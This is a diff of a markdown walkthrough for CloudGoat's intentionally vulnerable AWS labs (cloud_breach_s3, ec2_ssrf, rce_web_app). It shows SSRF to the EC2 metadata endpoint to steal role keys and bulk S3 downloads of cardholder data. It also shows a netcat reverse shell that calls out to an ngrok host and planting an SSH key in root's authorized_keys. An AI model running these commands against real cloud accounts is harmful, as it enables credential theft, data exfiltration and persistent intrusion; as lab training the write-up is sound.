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Update Cloudgoat.md
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@ -59,35 +59,35 @@ You may encounter an error where cloudgoat script may fail to install `terraform
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## Cloud Breach s3 (Medium)
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In this scenario we need to query the metadata of EC2 from a reverse proxy and access AWS session then using those keys we need to extract data from s3 bucket, so creating this scenario
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<img src="https://i.imgur.com/t6SNUdU.png"/>
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To start attacking, we can get the IP address from the generated `start.txt` file
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<img src="https://i.imgur.com/WtlxFq1.png"/>
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Running an nmap scan (it isn't necessary) we can see that it's an ec2 instance
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<img src="https://i.imgur.com/JLrpz27.png"/>
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But it doesn't show anything on the web server
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<img src="https://i.imgur.com/tvilCQi.png"/>
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Making a request with `curl` shows that it's configured to work as a proxy to make requests to ec2 metadata
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<img src="https://i.imgur.com/UnoMROE.png"/>
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AWS has an IP for metadata which is `169.254.169.254`, so we need to edit the Host header of the request and make a request to `/latest`
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<img src="https://i.imgur.com/yEYQ0uh.png"/>
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So we can make a request to `/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cloud_breach_s3_cgidkt0wpx0w0k` , which will show AWS access key
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<img src="https://i.imgur.com/QtlXuMk.png"/>
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Adding a profile using these keys
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<img src="https://i.imgur.com/QNXtCnx.png"/>
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We can verify the keys if they are working with
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@ -95,7 +95,7 @@ We can verify the keys if they are working with
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aws sts get-caller-identity --profile cloud_breach
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```
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<img src="https://i.imgur.com/ryYt2EY.png"/>
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Now we don't know what's the s3 bucket, we can list s3 buckets if it's associated with the AWS key
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@ -103,7 +103,7 @@ Now we don't know what's the s3 bucket, we can list s3 buckets if it's associate
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aws s3 ls --profile cloud_breach
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```
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<img src="https://i.imgur.com/wvQmHZ3.png"/>
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To view contents of this s3 bucket we can list it by giving the bucket name which is `cg-cardholder-data-bucket-cloud-breach-s3-cgidkt0wpx0w0k`
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@ -111,7 +111,7 @@ To view contents of this s3 bucket we can list it by giving the bucket name whic
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aws s3 ls s3://cg-cardholder-data-bucket-cloud-breach-s3-cgidkt0wpx0w0k --profile cloud_breach
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```
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<img src="https://i.imgur.com/RsXnMHI.png"/>
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To copy all files from s3 bucket we can use `cp` to copy files, `--recusrive` to copy all files `.` for the the destination to be the current path
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@ -119,40 +119,40 @@ To copy all files from s3 bucket we can use `cp` to copy files, `--recusrive` to
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aws s3 --recursive cp s3://cg-cardholder-data-bucket-cloud-breach-s3-cgidkt0wpx0w0k . --profile cloud_breach
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```
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<img src="https://i.imgur.com/zLABNKo.png"/>
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Accessing any of these file mean that we have compromised s3 bucket which completes this scenario
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<img src="https://i.imgur.com/zyW9gIk.png"/>
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We can now destory this challenege with `python3 cloudgoat.py destroy cloud_breach_s3`
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<img src="https://i.imgur.com/WlGnKmq.png"/>
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## EC2 SSRF (Medium)
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In this scenario we have access to IAM user through which we have to enumerate permissions and find a lambda function through which we can access EC2 instance and extract data from s3 bucket
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To create this scenario, we need to run `python3 cloudgoat.py create ec2_ssrf`
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<img src="https://i.imgur.com/iyAETZF.png"/>
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But at the end this will fail because python3.6 is not supported for creating lambda functions, we can fix it by replacing it with python3.9 by editing `scenarios/ec2_ssrf/terraform/lambda.tf`
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<img src="https://i.imgur.com/3KRPeK4.png"/>
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<img src="https://i.imgur.com/K7i9wH2.png"/>
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Now running the script again to create the scenario
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<img src="https://i.imgur.com/m2EgwcP.png"/>
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In `start.txt` we havet the acount id and AWS access key for `solus` IAM user
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<img src="https://i.imgur.com/jt0IdNR.png"/>
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So let's create a profile for solus user with AWS keys
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<img src="https://i.imgur.com/FhS072a.png"/>
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To verify if the AWS keys are working
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@ -160,7 +160,7 @@ To verify if the AWS keys are working
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aws sts get-caller-identity --profile solus
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```
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<img src="https://i.imgur.com/dhx3Bqt.png"/>
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Listing lambda functions with
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@ -168,15 +168,15 @@ Listing lambda functions with
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aws lambda list-functions --profile solus --region us-east-1
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```
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<img src="https://i.imgur.com/e1IvK23.png"/>
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This reveals EC2 access key, to use them we need to create another profile for this access key, also if we try invoking this function it won't work
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<img src="https://i.imgur.com/BBPwCiL.png"/>
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So creating aws profile
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<img src="https://i.imgur.com/tJIB2t4.png"/>
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Running `ec2 describe-instances` to view the instances associated with the access key
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@ -184,107 +184,108 @@ Running `ec2 describe-instances` to view the instances associated with the acces
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aws ec2 describe-instances --profile solus_ec2 --region us-east-1
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```
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<img src="https://i.imgur.com/de5XXD6.png"/>
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Scrolling a little down we'll get the instance's IP address which will also reveal public IP
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<img src="https://i.imgur.com/eIQvhGJ.png"/>
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Running nmap scan on EC2 instance to see which ports are open
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<img src="https://i.imgur.com/YMeTjJV.png"/>
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It has a web server running so let's visit that, the default page had some issues as the creator didn't handle the errors properly
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<img src="https://i.imgur.com/EbtKOZC.png"/>
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We can resolve this by including `url` GET parameter
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<img src="https://i.imgur.com/Azg9uh0.png"/>
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As the page tells that this is about SSRF, we can try making a requesst to EC2 metadata on IP `169.254.169.254`
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<img src="https://i.imgur.com/txZq9P9.png"/>
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Making a request to `/latest/meta-data/iam/security-credentials/` we'll get the role `cg-ec2-role-ec2_ssrf_cgidne4wv0ljch` for which we can get read the AWS keys
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<img src="https://i.imgur.com/XFkY57s.png"/>
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<img src="https://i.imgur.com/LT7ddB1.png"/>
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With `aws configure` we can use the AWS keys to create a profile for `ec2_ssrf`
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<img src="https://i.imgur.com/kCNzhvz.png"/>
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We also need to add the session token
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<img src="https://i.imgur.com/gnzl7Ig.png"/>
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<img src="https://i.imgur.com/IssRIIA.png"/>
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To access s3 bucket, we first to list them with `aws s3 ls --profile ec2_ssrf`
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<img src="https://i.imgur.com/bqcdspr.png"/>
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Listing the contents of this bucket will shows us a text file
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<img src="https://i.imgur.com/NIm9qcs.png"/>
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Downloading this file with `cp`, we'll get AWS keys for another user which seems to be privileged from from the name of the text file
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<img src="https://i.imgur.com/VKvowoQ.png"/>
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<img src="https://i.imgur.com/hOezBLv.png"/>
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Checking this user's identitiy, it's `shepard`
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<img src="https://i.imgur.com/wgRmnQq.png"/>
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Now invoking the function which we tried before with solus user but this time trying with shepard
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```bash
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aws lambda invoke --function-name cg-lambda-ec2_ssrf_cgidne4wv0ljch --profile ec2_ssrf_admin --region us-east-1 ./output.txt
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```
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<img src="https://i.imgur.com/obcYkFD.png"/>
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Reading the response from the text file, we'll see that we completed this scenario
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<img src="https://i.imgur.com/N3c1u1D.png"/>
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We can destory this scenario with `cloudgoat.py destroy ec2_ssrf`
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<img src="https://i.imgur.com/KPBQAKZ.png"/>
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<img src="https://i.imgur.com/A0zQmTL.png"/>
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## RCE Web App (Hard)
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In this scenario we have access to two IAM users and access s3 bucket which will lead to a vulnerable web app for rce
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We can create this scenario with `python3 cloudgoat.py create rce_web_app`
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<img src="https://i.imgur.com/9xyQVoq.png"/>
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But at the end it showed an error that it wasn't able to create RDS (Amazon Relational Database) DB instance because it couldn't find postgres 9.6 because that has been deprecated
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<img src="https://i.imgur.com/QJXYRrD.png"/>
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<img src="https://i.imgur.com/1gdi0uV.png"/>
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This issue can be resolved by replacing the postgres version to 12
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<img src="https://i.imgur.com/MtOg77a.png"/>
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<img src="https://i.imgur.com/g0b6M35.png"/>
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Here we have two users `lara` and `mcduck`, so first I'll take the path from `lara`
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## Path from Lara
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Creating a profile for lara by using access and secret key
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<img src="https://i.imgur.com/Tb1A3qV.png"/>
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We can verfiy if the keys are working
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<img src="https://i.imgur.com/ZHX87pQ.png"/>
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From this IAM user we can access s3 bucket
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@ -292,11 +293,11 @@ From this IAM user we can access s3 bucket
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aws s3 ls --profile lara
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```
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<img src="https://i.imgur.com/aKV1kqI.png"/>
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We can see there are three buckets but this user can access only `cg-logs` bucket
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<img src="https://i.imgur.com/rKxPAcr.png"/>
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To download `cg-lb-logs` folder recursivley
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@ -304,17 +305,17 @@ To download `cg-lb-logs` folder recursivley
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aws s3 cp --recursive s3://cg-logs-s3-bucket-rce-web-app-cgid3ntl2q2i88 . --profile lara
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```
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<img src="https://i.imgur.com/KLf5NPG.png"/>
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On accessing that folder, there's a log file which contained some requests
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<img src="https://i.imgur.com/69nuRUg.png"/>
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<img src="https://i.imgur.com/Cv32NVN.png"/>
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Making a request to see these urls are alive but they were down
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<img src="https://i.imgur.com/NjO1stY.png"/>
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So we know there might be a web app running, we can try listing an ec2 instances through this profile
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@ -322,11 +323,11 @@ So we know there might be a web app running, we can try listing an ec2 instances
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aws ec2 describe-instances --profile lara --region us-east-1
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```
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<img src="https://i.imgur.com/iZIGQHK.png"/>
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We scan this ec2 instance for open ports which shows that there's only ssh open the instance
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<img src="https://i.imgur.com/hON1Vjf.png"/>
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So there's nothing we can do from the ec2, the log file belongs to a load balancer, so we can try lisiting the load balancers with `elbv2 describe-load-balancers`
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@ -334,19 +335,19 @@ So there's nothing we can do from the ec2, the log file belongs to a load balanc
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aws elbv2 describe-load-balancers --profile lara --region us-east-1
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```
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<img src="https://i.imgur.com/oq4bwYV.png"/>
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We can visit this url and access the site
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<img src="https://i.imgur.com/katXehA.png"/>
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This talks about visiting "the secret url" which we can find from the logs
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<img src="https://i.imgur.com/t5vBH8F.png"/>
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This gives us a functionality to execute commands which we can abuse to get a reverse shell
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<img src="https://i.imgur.com/6OW0Nwq.png"/>
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For reverse shell, we can use `ngork` which is used for exposing local port over the internet, I was having issues with ngrok not working with kali linux so I swtiched to ubuntu for getting a shell using busybox variant of `netcat`
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echo "rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 0.tcp.ap.ngrok.io 11400 >/tmp/f" |base64 -w0
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```
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<img src="https://i.imgur.com/69eaCZG.png"/>
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<img src="https://i.imgur.com/NICaB1a.png"/>
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We can run ngrok with `ngrok tcp 2222`
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<img src="https://i.imgur.com/HYCqymr.png"/>
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But issue is when getting a reverse shell, the application stops responding
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<img src="https://i.imgur.com/AkP5YzE.png"/>
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<img src="https://i.imgur.com/goBA5AD.png"/>
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We can try accessing root's ssh key but it wasn't generated
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<img src="https://i.imgur.com/mERF5FN.png"/>
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Since we are root user, we can add our ssh public key and login with the private key
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<img src="https://i.imgur.com/odxyCZ3.png"/>
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```bash
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echo "ssh public key " > /root/.ssh/authorized_keys
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@ -382,31 +383,31 @@ echo "ssh public key " > /root/.ssh/authorized_keys
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On adding the key I was getting an error due to `Unterminated quoted string`, I am not sure why I was getting that but I wasn't able to add the ssh key
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<img src="https://i.imgur.com/XJqDbd0.png"/>
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If we check root's authorized_keys file, it says to login as ubuntu
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<img src="https://i.imgur.com/I9xwM3p.png"/>
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Either the ssh key is being truncated for some reason or it needs a proper format for the key as AWS supports `D25519` and `2048-bit` SSH-2 RSA keys for Linux instances, there is even an issue reported for this part
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<img src="https://i.imgur.com/QQ9El9z.png"/>
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<img src="https://i.imgur.com/3QHq63C.png"/>
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Generate the key again with `ed25519`
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<img src="https://i.imgur.com/VAcZyJ1.png"/>
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```bash
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echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG5QcNdp9tUZRQvmkPMDfZpXciiy+7YVTdNI9RyUPbcR arz@kali" > /root/.ssh/authorized_keys
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```
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<img src="https://i.imgur.com/2cvMauW.png"/>
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We can see that this worked perfectly with no errors which means we can now login into the ec2 instance we found earlier
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<img src="https://i.imgur.com/3D2Ip31.png"/>
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Having access to EC2, we can query for the metadata from the magic AWS IP `169.254.169.254`
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@ -414,25 +415,25 @@ Having access to EC2, we can query for the metadata from the magic AWS IP `169.2
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curl 169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-rce_web_app_cgidd9pk8lqvym
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```
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<img src="https://i.imgur.com/ypRbGSx.png"/>
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Using the keys we can create a new profile for aws session
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<img src="https://i.imgur.com/FUArWZN.png"/>
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<img src="https://i.imgur.com/Dik2Qjo.png"/>
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With this user we can access the secrets s3 bucket and find `db.txt`
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<img src="https://i.imgur.com/NdLbu1o.png"/>
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Downloading the file
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<img src="https://i.imgur.com/fUqUVfm.png"/>
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From this file we'll get the credentials for database
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<img src="https://i.imgur.com/KpiKmhZ.png"/>
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DB instance can be found with `rds describe-db-instances`
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